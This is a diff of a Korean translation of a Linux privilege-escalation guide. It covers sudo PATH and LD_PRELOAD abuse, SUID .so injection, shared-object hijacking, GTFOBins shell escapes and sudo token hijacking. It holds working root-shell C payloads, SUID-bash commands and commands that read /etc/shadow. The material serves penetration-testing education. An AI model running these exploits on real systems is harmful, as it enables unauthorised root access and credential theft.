**wildcard**๊ฐ€ ์‚ฌ์šฉ๋œ๋‹ค๋ฉด (\*), ํ›จ์”ฌ ๋” ์‰ฝ์Šต๋‹ˆ๋‹ค: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -841,41 +845,41 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo command/SUID binary (๋ช…๋ น ๊ฒฝ๋กœ ์—†์ด) -๋งŒ์•ฝ **sudo permission**์ด ๋‹จ์ผ ๋ช…๋ น์— ๋Œ€ํ•ด **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š๊ณ ** ๋ถ€์—ฌ๋˜์–ด ์žˆ๋‹ค๋ฉด: _hacker10 ALL= (root) less_ PATH ๋ณ€์ˆ˜ ๋ณ€๊ฒฝ์œผ๋กœ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. +๋งŒ์•ฝ ํŠน์ • ๋ช…๋ น์— ๋Œ€ํ•œ **sudo permission**์ด ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š์€ ์ฑ„ ๋‹จ์ผ ๋ช…๋ น์œผ๋กœ ๋ถ€์—ฌ๋˜์–ด ์žˆ๋‹ค๋ฉด: _hacker10 ALL= (root) less_ PATH ๋ณ€์ˆ˜๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -์ด ๊ธฐ์ˆ ์€ **suid** ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š๊ณ  ๋‹ค๋ฅธ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ(ํ•ญ์ƒ _**strings**_ ๋กœ ์ด์ƒํ•œ SUID ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•˜์„ธ์š”)**์—๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด ๊ธฐ๋ฒ•์€ **suid** binary๊ฐ€ **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š๊ณ  ๋‹ค๋ฅธ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ๋•Œ(ํ•ญ์ƒ _**strings**_ ๋กœ ์ด์ƒํ•œ SUID binary์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•˜์„ธ์š”)**์—๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [Payload examples to execute.](payloads-to-execute.md) -### SUID ๋ฐ”์ด๋„ˆ๋ฆฌ (๋ช…๋ น ๊ฒฝ๋กœ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ) +### SUID binary (๋ช…๋ น ๊ฒฝ๋กœ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ) -๋งŒ์•ฝ **suid** ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์—ฌ ๋‹ค๋ฅธ ๋ช…๋ น์„ ์‹คํ–‰**ํ•œ๋‹ค๋ฉด, suid ํŒŒ์ผ์ด ํ˜ธ์ถœํ•˜๋Š” ๋ช…๋ น ์ด๋ฆ„์œผ๋กœ **export a function**์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. -์˜ˆ๋ฅผ ๋“ค์–ด, suid ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ _**/usr/sbin/service apache2 start**_ ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค๋ฉด, ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•˜๊ณ  exportํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ suid binary๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ์ด ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +ํ™˜๊ฒฝ ๋ณ€์ˆ˜ **LD_PRELOAD**๋Š” ํ‘œ์ค€ C ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(`libc.so`)๋ฅผ ํฌํ•จํ•ด ๋‹ค๋ฅธ ๋ชจ๋“  ๊ฒƒ๋ณด๋‹ค ๋จผ์ € ๋กœ๋”๊ฐ€ ๋กœ๋“œํ•  ํ•˜๋‚˜ ์ด์ƒ์˜ ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(.so ํŒŒ์ผ)๋ฅผ ์ง€์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์ „ ๋กœ๋“œ(preloading a library)๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. -๊ทธ๋Ÿฌ๋‚˜ ์‹œ์Šคํ…œ ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๊ณ  ํŠนํžˆ **suid/sgid** ์‹คํ–‰ ํŒŒ์ผ์—์„œ ์ด ๊ธฐ๋Šฅ์ด ์•…์šฉ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์‹œ์Šคํ…œ์€ ํŠน์ • ์กฐ๊ฑด์„ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค: +๊ทธ๋Ÿฌ๋‚˜ ์‹œ์Šคํ…œ ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๊ณ  ํŠนํžˆ **suid/sgid** ์‹คํ–‰ ํŒŒ์ผ์—์„œ ์ด ๊ธฐ๋Šฅ์ด ์•…์šฉ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์‹œ์Šคํ…œ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์กฐ๊ฑด์„ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค: -- ๋กœ๋”๋Š” ์‹ค์ œ ์‚ฌ์šฉ์ž ID(_ruid_)๊ฐ€ ์œ ํšจ ์‚ฌ์šฉ์ž ID(_euid_)์™€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ์‹คํ–‰ ํŒŒ์ผ์— ๋Œ€ํ•ด **LD_PRELOAD**๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค. -- **suid/sgid**๊ฐ€ ์„ค์ •๋œ ์‹คํ–‰ ํŒŒ์ผ์˜ ๊ฒฝ์šฐ, ํ‘œ์ค€ ๊ฒฝ๋กœ์— ์žˆ๊ณ  ๋˜ํ•œ suid/sgid์ธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋งŒ ํ”„๋ฆฌ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. +- ์‹ค์ œ ์‚ฌ์šฉ์ž ID (_ruid_)๊ฐ€ ์‹คํšจ ์‚ฌ์šฉ์ž ID (_euid_)์™€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ์‹คํ–‰ ํŒŒ์ผ์— ๋Œ€ํ•ด์„œ๋Š” ๋กœ๋”๊ฐ€ **LD_PRELOAD**๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค. +- suid/sgid ๊ถŒํ•œ์ด ์žˆ๋Š” ์‹คํ–‰ ํŒŒ์ผ์˜ ๊ฒฝ์šฐ, ์‚ฌ์ „ ๋กœ๋“œ๋˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ํ‘œ์ค€ ๊ฒฝ๋กœ์— ์žˆ์œผ๋ฉด์„œ ๋™์‹œ์— suid/sgid์ธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. -Privilege escalation์€ `sudo`๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ  `sudo -l`์˜ ์ถœ๋ ฅ์— **env_keep+=LD_PRELOAD**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ตฌ์„ฑ์€ ๋ช…๋ น์ด `sudo`๋กœ ์‹คํ–‰๋  ๋•Œ์—๋„ **LD_PRELOAD** ํ™˜๊ฒฝ ๋ณ€์ˆ˜๊ฐ€ ์œ ์ง€๋˜์–ด ์ธ์‹๋˜๋„๋ก ํ—ˆ์šฉํ•˜๋ฏ€๋กœ ๊ถŒํ•œ ์ƒ์Šน๋œ ์ƒํƒœ์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. +Privilege escalation์€ `sudo`๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ  `sudo -l` ์ถœ๋ ฅ์— **env_keep+=LD_PRELOAD** ํ•ญ๋ชฉ์ด ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ตฌ์„ฑ์€ ๋ช…๋ น์„ `sudo`๋กœ ์‹คํ–‰ํ•  ๋•Œ๋„ **LD_PRELOAD** ํ™˜๊ฒฝ ๋ณ€์ˆ˜๊ฐ€ ์œ ์ง€๋˜๊ณ  ์ธ์‹๋˜๋„๋ก ํ—ˆ์šฉํ•˜์—ฌ, ์ž ์žฌ์ ์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน๋œ ์ƒํƒœ์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ``` Defaults env_keep += LD_PRELOAD ``` -๋‹ค์Œ์œผ๋กœ ์ €์žฅํ•˜์„ธ์š” **/tmp/pe.c** +๋‹ค์Œ ์ด๋ฆ„์œผ๋กœ ์ €์žฅ: **/tmp/pe.c** ```c #include #include @@ -888,17 +892,17 @@ setuid(0); system("/bin/bash"); } ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ **์ปดํŒŒ์ผํ•˜์„ธ์š”**: +๊ทธ๋Ÿฐ ๋‹ค์Œ ๋‹ค์Œ ๋ช…๋ น์–ด๋กœ **compile it**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -๋งˆ์ง€๋ง‰์œผ๋กœ, **escalate privileges**๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค +๋งˆ์ง€๋ง‰์œผ๋กœ, **escalate privileges** ์‹คํ–‰ ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> ์œ ์‚ฌํ•œ privesc๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ **LD_LIBRARY_PATH** env variable์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ•  ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. +> ์œ ์‚ฌํ•œ privesc๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ **LD_LIBRARY_PATH** env variable์„ ์ œ์–ดํ•˜๋ฉด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๊ฒ€์ƒ‰๋  ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ```c #include #include @@ -920,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary โ€“ .so injection -ํŠน์ดํ•œ **SUID** ๊ถŒํ•œ์„ ๊ฐ€์ง„ binary๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด, ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **.so** ํŒŒ์ผ์„ ์ œ๋Œ€๋กœ ๋กœ๋“œํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค. ์ด๋Š” ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค: +๋น„์ •์ƒ์ ์œผ๋กœ ๋ณด์ด๋Š” **SUID** ๊ถŒํ•œ์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด, ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **.so** ํŒŒ์ผ์„ ์ œ๋Œ€๋กœ ๋กœ๋“œํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -์˜ˆ๋ฅผ ๋“ค์–ด, _"open(โ€œ/path/to/.config/libcalc.soโ€, O_RDONLY) = -1 ENOENT (No such file or directory)"_์™€ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ์ž ์žฌ์ ์ธ ์•…์šฉ ๊ฐ€๋Šฅ์„ฑ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค. +์˜ˆ๋ฅผ ๋“ค์–ด, _"open(โ€œ/path/to/.config/libcalc.soโ€, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ์ž ์žฌ์ ์ธ ์•…์šฉ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. -์ด๋ฅผ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” _"/path/to/.config/libcalc.c"_๋ผ๋Š” C ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํฌํ•จ์‹œํ‚ค๋ฉด ๋ฉ๋‹ˆ๋‹ค: +์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด, ์˜ˆ๋ฅผ ๋“ค์–ด _"/path/to/.config/libcalc.c"_ ๋ผ๋Š” C ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํฌํ•จ์‹œํ‚ต๋‹ˆ๋‹ค: ```c #include #include @@ -937,13 +941,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -์ด ์ฝ”๋“œ๋Š” ์ปดํŒŒ์ผ๋˜์–ด ์‹คํ–‰๋˜๋ฉด ํŒŒ์ผ ๊ถŒํ•œ์„ ์กฐ์ž‘ํ•˜๊ณ  ๊ถŒํ•œ์ด ์ƒ์Šน๋œ ์‰˜์„ ์‹คํ–‰ํ•˜์—ฌ ๊ถŒํ•œ์„ ํš๋“ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. +์ด ์ฝ”๋“œ๋Š” ์ปดํŒŒ์ผ ๋ฐ ์‹คํ–‰๋˜๋ฉด ํŒŒ์ผ ๊ถŒํ•œ์„ ์กฐ์ž‘ํ•˜๊ณ  ๊ถŒํ•œ์ด ์ƒ์Šน๋œ ์…ธ์„ ์‹คํ–‰ํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. -์œ„ C ํŒŒ์ผ์„ ๊ณต์œ  ์˜ค๋ธŒ์ ํŠธ(.so) ํŒŒ์ผ๋กœ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”: +์œ„ C ํŒŒ์ผ์„ shared object (.so) ํŒŒ์ผ๋กœ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -๋งˆ์ง€๋ง‰์œผ๋กœ, ์˜ํ–ฅ์„ ๋ฐ›์€ SUID binary๋ฅผ ์‹คํ–‰ํ•˜๋ฉด exploit๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜์–ด ์ž ์žฌ์ ์œผ๋กœ ์‹œ์Šคํ…œ ์นจํ•ด๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งˆ์ง€๋ง‰์œผ๋กœ, ์˜ํ–ฅ์„ ๋ฐ›๋Š” SUID binary๋ฅผ ์‹คํ–‰ํ•˜๋ฉด exploit์ด ํŠธ๋ฆฌ๊ฑฐ๋˜์–ด ์ž ์žฌ์ ์ธ system compromise๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## Shared Object Hijacking ```bash @@ -955,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -์ด์ œ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”์—์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋Š” SUID ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ฐพ์•˜์œผ๋ฏ€๋กœ, ํ•ด๋‹น ํด๋”์— ํ•„์š”ํ•œ ์ด๋ฆ„์œผ๋กœ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•ฉ์‹œ๋‹ค: +์ด์ œ ์šฐ๋ฆฌ๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”์—์„œ library๋ฅผ ๋กœ๋“œํ•˜๋Š” SUID binary๋ฅผ ์ฐพ์•˜์œผ๋‹ˆ, ํ•ด๋‹น ํด๋”์— ํ•„์š”ํ•œ ์ด๋ฆ„์œผ๋กœ library๋ฅผ ์ƒ์„ฑํ•ฉ์‹œ๋‹ค: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -972,19 +976,20 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -์ฆ‰, ์ƒ์„ฑํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” `a_function_name`์ด๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +์ฆ‰, ์ƒ์„ฑํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” `a_function_name`์ด๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ๊ฐ–๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋กœ์ปฌ ๋ณด์•ˆ ์ œํ•œ์„ ์šฐํšŒํ•˜๋Š” ๋ฐ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Unix ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์„ ๋ณ„๋œ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค. [**GTFOArgs**](https://gtfoargs.github.io/) ๋Š” ๋ช…๋ น์— **์ธ์ˆ˜๋งŒ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š”** ๊ฒฝ์šฐ๋ฅผ ์œ„ํ•œ ๋™์ผํ•œ ํ”„๋กœ์ ํŠธ์ž…๋‹ˆ๋‹ค. +[**GTFOBins**](https://gtfobins.github.io) ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋กœ์ปฌ ๋ณด์•ˆ ์ œํ•œ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Unix ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ชฉ๋ก์„ ์„ ๋ณ„ํ•ด ๋†“์€ ๊ฒƒ์ž…๋‹ˆ๋‹ค. [**GTFOArgs**](https://gtfoargs.github.io/) ๋Š” ๋ช…๋ น์— **์ธ์ˆ˜๋งŒ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š”** ๊ฒฝ์šฐ์— ํ•ด๋‹นํ•˜๋Š” ๋™์ผํ•œ ๋ฆฌ์ŠคํŠธ์ž…๋‹ˆ๋‹ค. -์ด ํ”„๋กœ์ ํŠธ๋Š” ์ œํ•œ๋œ ์‰˜์—์„œ ๋น ์ ธ๋‚˜์˜ค๊ฑฐ๋‚˜ ๊ถŒํ•œ ์ƒ์Šน ๋˜๋Š” ์œ ์ง€, ํŒŒ์ผ ์ „์†ก, bind ๋ฐ reverse shell ์ƒ์„ฑ, ๊ธฐํƒ€ post-exploitation ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” Unix ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ •๋‹นํ•œ ๊ธฐ๋Šฅ๋“ค์„ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. +์ด ํ”„๋กœ์ ํŠธ๋Š” ์ œํ•œ๋œ ์…ธ์—์„œ ๋น ์ ธ๋‚˜์˜ค๊ฑฐ๋‚˜, ๊ถŒํ•œ์„ ์ƒ์Šน ๋˜๋Š” ์œ ์ง€ํ•˜๊ฑฐ๋‚˜, ํŒŒ์ผ์„ ์ „์†กํ•˜๊ฑฐ๋‚˜, bind ๋ฐ reverse shells๋ฅผ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜, ๊ธฐํƒ€ post-exploitation ์ž‘์—…์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Unix ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ •๋‹นํ•œ ๊ธฐ๋Šฅ๋“ค์„ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} @@ -1002,54 +1007,54 @@ If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•œ ์š”๊ตฌ์‚ฌํ•ญ: +Requirements to escalate privileges: -- ์ด๋ฏธ ์‚ฌ์šฉ์ž "_sampleuser_"๋กœ ์‰˜์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค -- "_sampleuser_"๋Š” **`sudo`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ** ๋ฌด์–ธ๊ฐ€๋ฅผ **์ตœ๊ทผ 15mins**์— ์‹คํ–‰ํ•œ ์ ์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (๊ธฐ๋ณธ์ ์œผ๋กœ ์ด๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด `sudo`๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” sudo ํ† ํฐ์˜ ์ง€์† ์‹œ๊ฐ„์ž…๋‹ˆ๋‹ค) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- ์ด๋ฏธ ์‚ฌ์šฉ์ž _sampleuser_๋กœ ์‰˜์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค +- _sampleuser_๊ฐ€ **`sudo`๋ฅผ ์‚ฌ์šฉ**ํ•ด ๋ฌด์–ธ๊ฐ€๋ฅผ **๋งˆ์ง€๋ง‰ 15๋ถ„ ์ด๋‚ด์—** ์‹คํ–‰ํ–ˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ๊ธฐ๊ฐ„์ด sudo ํ† ํฐ์˜ ์œ ํšจ๊ธฐ๊ฐ„์ด๋ฉฐ, ์ด ํ† ํฐ์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด `sudo`๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค) +- `cat /proc/sys/kernel/yama/ptrace_scope`๊ฐ€ 0์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค - `gdb`์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค) -(์ผ์‹œ์ ์œผ๋กœ `ptrace_scope`๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ `/etc/sysctl.d/10-ptrace.conf`๋ฅผ ์˜๊ตฌ์ ์œผ๋กœ ์ˆ˜์ •ํ•ด `kernel.yama.ptrace_scope = 0`์œผ๋กœ ์„ค์ •ํ•˜์„ธ์š”) +(์ž„์‹œ๋กœ `ptrace_scope`๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ `/etc/sysctl.d/10-ptrace.conf`๋ฅผ ์˜๊ตฌ์ ์œผ๋กœ ์ˆ˜์ •ํ•˜์—ฌ `kernel.yama.ptrace_scope = 0`์œผ๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- ์ฒซ ๋ฒˆ์งธ ์ต์Šคํ”Œ๋กœ์ž‡(`exploit.sh`)์€ _/tmp_์— `activate_sudo_token` ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์‚ฌ์šฉํ•ด **์„ธ์…˜์—์„œ sudo ํ† ํฐ์„ ํ™œ์„ฑํ™”**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ž๋™์œผ๋กœ root ์‰˜์ด ์ƒ์„ฑ๋˜์ง€๋Š” ์•Š์œผ๋‹ˆ `sudo su`๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **๋‘ ๋ฒˆ์งธ exploit** (`exploit_v2.sh`)๋Š” _/tmp_์— sh ์‰˜์„ ์ƒ์„ฑํ•˜๋ฉฐ, **setuid๊ฐ€ ์„ค์ •๋œ root ์†Œ์œ 